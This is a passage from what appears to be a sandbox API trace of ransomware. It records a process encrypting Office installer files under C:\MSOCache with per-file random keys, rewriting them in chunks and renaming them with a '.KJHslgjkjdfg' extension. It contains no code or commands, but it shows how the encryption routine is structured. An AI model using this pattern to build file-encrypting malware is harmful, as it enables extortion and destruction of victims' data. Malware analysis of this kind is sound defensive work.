hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x10b2, lpOverlapped=0x0) returned 1 [0164.759] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10c0, dwBufLen=0x10c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x10c0) returned 1 [0164.759] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.759] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x10c0, lpOverlapped=0x0) returned 1 [0164.759] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.759] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.759] SetEndOfFile (hFile=0x124) returned 1 [0164.761] GetProcessHeap () returned 0x2ef0000 [0164.761] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.761] GetProcessHeap () returned 0x2ef0000 [0164.761] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.761] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.kjhslgjkjdfg")) returned 1 [0164.766] CloseHandle (hObject=0x124) returned 1 [0164.766] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0164.766] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0164.766] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0164.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.767] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=36233052) returned 1 [0164.768] GetProcessHeap () returned 0x2ef0000 [0164.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.768] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.768] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.768] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0164.771] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.771] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.771] GetProcessHeap () returned 0x2ef0000 [0164.771] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.771] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0164.771] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.771] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0164.771] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0164.771] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0164.772] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0164.772] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.772] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0164.772] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.772] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.772] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.772] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.779] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.784] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.784] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.785] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.785] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.785] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.785] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.792] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.795] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.795] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.796] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.796] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.796] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.796] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.803] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.805] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224df60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.805] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.806] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.806] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.807] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.807] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x228e034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.807] SetEndOfFile (hFile=0x124) returned 1 [0164.810] GetProcessHeap () returned 0x2ef0000 [0164.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.810] GetProcessHeap () returned 0x2ef0000 [0164.810] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.810] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.kjhslgjkjdfg")) returned 1 [0164.811] CloseHandle (hObject=0x124) returned 1 [0164.811] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0164.811] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0164.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.811] GetProcessHeap () returned 0x2ef0000 [0164.811] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.811] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.811] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.811] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0x6, lpOverlapped=0x0) returned 1 [0164.818] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.818] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.818] GetProcessHeap () returned 0x2ef0000 [0164.818] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0164.818] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dff4e0*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dff4e0*=0x50) returned 1 [0164.818] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.818] WriteFile (in: hFile=0x124, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dff4f8*=0x50, lpOverlapped=0x0) returned 1 [0164.818] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.818] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.819] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.819] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.819] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.819] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.819] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.819] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.819] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0xaec3a, lpOverlapped=0x0) returned 1 [0164.833] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xaec40, dwBufLen=0xaec40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0xaec40) returned 1 [0164.842] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.842] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0xaec40, lpOverlapped=0x0) returned 1 [0164.845] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.845] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xaed24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.845] SetEndOfFile (hFile=0x124) returned 1 [0164.849] GetProcessHeap () returned 0x2ef0000 [0164.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0164.849] GetProcessHeap () returned 0x2ef0000 [0164.849] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.850] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.kjhslgjkjdfg")) returned 1 [0164.850] CloseHandle (hObject=0x124) returned 1 [0164.850] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPlusrWW.msi", cAlternateFileName="PROPLU~1.MSI")) returned 1 [0164.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.857] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=27532288) returned 1 [0164.857] GetProcessHeap () returned 0x2ef0000 [0164.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.857] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.857] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.857] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.857] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.857] GetProcessHeap () returned 0x2ef0000 [0164.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.857] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0164.857] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.857] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0164.861] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0164.861] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0164.861] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0164.861] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.861] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0164.862] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.862] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.862] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.862] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.869] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.875] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.875] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.876] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.876] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.877] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, 